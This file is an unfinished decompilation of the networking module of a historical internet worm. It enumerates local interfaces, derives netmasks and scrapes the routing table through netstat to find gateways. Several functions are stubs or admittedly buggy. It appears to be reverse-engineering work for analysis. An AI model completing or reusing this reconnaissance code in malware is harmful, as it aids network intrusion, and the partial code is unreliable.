/* dover */#include "worm.h"#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/ioctl.h>#include <netinet/in.h>#include <net/if.h>/* This is the second of five source files linked together to form the '.o' * file distributed with the worm. */if_init()			/* 0x254c, check again */{    struct ifconf if_conf;    struct ifreq if_buffer[12];    int  s, i, num_ifs, j;    char local[48];        nifs = 0;    s = socket(AF_INET, SOCK_STREAM, 0);    if (s < 0)	return 0;				/* if_init+1042 */    if_conf.ifc_req = if_buffer;    if_conf.ifc_len = sizeof(if_buffer);        if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {	close(s);	return 0;				/* if_init+1042 */    }        num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);    for(i = 0; i < num_ifs; i++) {		/* if_init+144 */	for (j = 0; j < nifs; j++)	    /* Oops, look again.  This line needs verified. */	    if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)		break;    }    }	/* Yes all of these are in the include file, but why bother?  Everyone knows   netmasks, and they will never change... */def_netmask(net_addr)				/* 0x2962 */     int net_addr;{    if ((net_addr & 0x80000000) == 0)	return 0xFF000000;    if ((net_addr & 0xC0000000) == 0xC0000000)	return 0xFFFF0000;    return 0xFFFFFF00;}netmaskfor(addr)				/* 0x29aa */     int addr;{    int i, mask;        mask = def_netmask(addr);    for (i = 0; i < nifs; i++)	if ((addr & mask) == (ifs[i].if_l16 & mask))	    return ifs[i].if_l24;    return mask;}rt_init()					/* 0x2a26 */{    FILE *pipe;    char input_buf[64];    int	 l204, l304;        ngateways = 0;    pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));   						 /* &env102,&env 125 */    if (pipe == 0)	return 0;    while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */	other_sleep(0);	if (ngateways >= 500)	    break;	sscanf(input_buf, XS("%s%s"), l204, l304);	/* <env+127>"%s%s" */	/* other stuff, I'll come back to this later */		    }						/* 518, back to 76 */    pclose(pipe);    rt_init_plus_544();    return 1;}						/* 540 */static rt_init_plus_544()				/* 0x2c44 */{}getaddrs()					/* 0x2e1a */{}struct bar *a2in(a)		/* 0x2f4a, needs to be fixed */     int a;{    static struct bar local;    local.baz = a;    return &local;}/* End of source file in original. *//* * Local variables: * compile-command: "cc -S net.c" * comment-column: 48 * End: */